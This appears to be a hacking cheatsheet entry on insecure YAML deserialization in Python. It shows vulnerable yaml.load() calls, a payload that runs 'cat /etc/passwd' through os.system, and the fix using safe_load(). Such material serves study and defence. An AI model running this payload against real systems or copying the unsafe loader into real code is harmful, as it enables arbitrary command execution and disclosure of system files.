YAML

Exploitation
The example below is a vulnerable YAML code that can be exploited.
Python 2
import yaml
​
# Input can be whater text or a file with this content
yaml.load(input)
Python 3
In Python 3, the default loader changed to a safe Loader, and to exploit this vulnerability should be enable UnsafeLoader explicitly. 
import yaml
​
# Input can be whater text or a file with this content
yaml.load(input, Loader=yaml.UnsafeLoader)
Example payload to exploit this vulnerability in a file sample.yaml os a direct input if allowed.
!!python/object/apply:os.system ["cat /etc/passwd"]
Fix
Fixing this vulnerability is relatively easy.
Replace the usage of yaml.load() function with yaml.safe_load() 
In Python 3, yaml.load() uses as default data Loader FullLoader which avoids code execution.

XML

Hacking cheatsheet

Last modified 2yr ago